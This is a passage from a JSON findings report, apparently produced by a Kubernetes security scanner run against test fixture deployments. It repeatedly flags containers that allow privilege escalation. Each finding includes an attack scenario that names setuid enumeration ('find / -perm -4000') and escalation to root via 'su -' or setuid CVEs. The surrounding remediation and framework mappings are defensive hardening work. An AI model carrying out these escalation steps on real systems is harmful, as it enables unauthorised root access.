      "Validate: `kubectl get pod -n gw-workloads -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:hookbackend-fixtures:hookbackend-injector:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/hookbackend-fixtures/hookbackend-injector`",
    "description": "Container `app` in `Deployment/hookbackend-fixtures/hookbackend-injector` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "hookbackend-injector",
      "namespace": "hookbackend-fixtures",
      "api_group": "apps"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/hookbackend-fixtures/hookbackend-injector`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n hookbackend-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:imgswap-fixtures:imgswap-reader-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/imgswap-fixtures/imgswap-reader-app`",
    "description": "Container `app` in `Deployment/imgswap-fixtures/imgswap-reader-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "imgswap-reader-app",
      "namespace": "imgswap-fixtures",
      "api_group": "apps"
    },
    "namespace": "imgswap-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/imgswap-fixtures/imgswap-reader-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n imgswap-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:ingress-only:ingress-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/ingress-only/ingress-app`",
    "description": "Container `app` in `Deployment/ingress-only/ingress-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "ingress-app",
      "namespace": "ingress-only",
      "api_group": "apps"
    },
    "namespace": "ingress-only",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/ingress-only/ingress-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n ingress-only -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:lp-fixtures:lp-narrow-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/lp-fixtures/lp-narrow-app`",
    "description": "Container `app` in `Deployment/lp-fixtures/lp-narrow-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-narrow-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-narrow-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n lp-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:lp-fixtures:lp-orphan-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/lp-fixtures/lp-orphan-app`",
    "description": "Container `app` in `Deployment/lp-fixtures/lp-orphan-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-orphan-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-orphan-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n lp-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:lp-fixtures:lp-wildcard-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/lp-fixtures/lp-wildcard-app`",
    "description": "Container `app` in `Deployment/lp-fixtures/lp-wildcard-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-wildcard-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-wildcard-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n lp-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:netpol-imds:imds-allow-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/netpol-imds/imds-allow-app`",
    "description": "Container `app` in `Deployment/netpol-imds/imds-allow-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-allow-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-allow-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n netpol-imds -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:netpol-imds:imds-open-app:app",
